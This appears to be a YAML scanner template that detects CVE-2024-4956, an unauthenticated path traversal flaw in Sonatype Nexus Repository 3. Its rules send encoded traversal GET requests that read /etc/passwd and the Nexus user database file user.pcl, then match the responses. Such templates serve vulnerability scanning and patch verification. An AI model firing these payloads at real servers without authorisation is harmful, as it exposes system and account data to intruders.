CVE-2024-4956: Nexus Repository Manager 文件读取漏洞

id: CVE-2024-4956

info:
  name: Nexus Repository Manager 文件读取漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4956
  tags: cve,cve2024,nexus,fileread
  created: 2024/06/18

rules:
  r0:
    request:
      method: GET
      path: /.%2f/..%2f/..%2f/..%2f/..%2f/etc/passwd
    expression: response.status ==200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /.%2f/..%2f/..%2f/..%2f/..%2f/nexus-data/db/security/user.pcl
    expression: response.status ==200 && response.body.bcontains(b'Useractive') && response.body.bcontains(b'admin') && response.body.bcontains(b'Administrator')
expression: r0() || r1()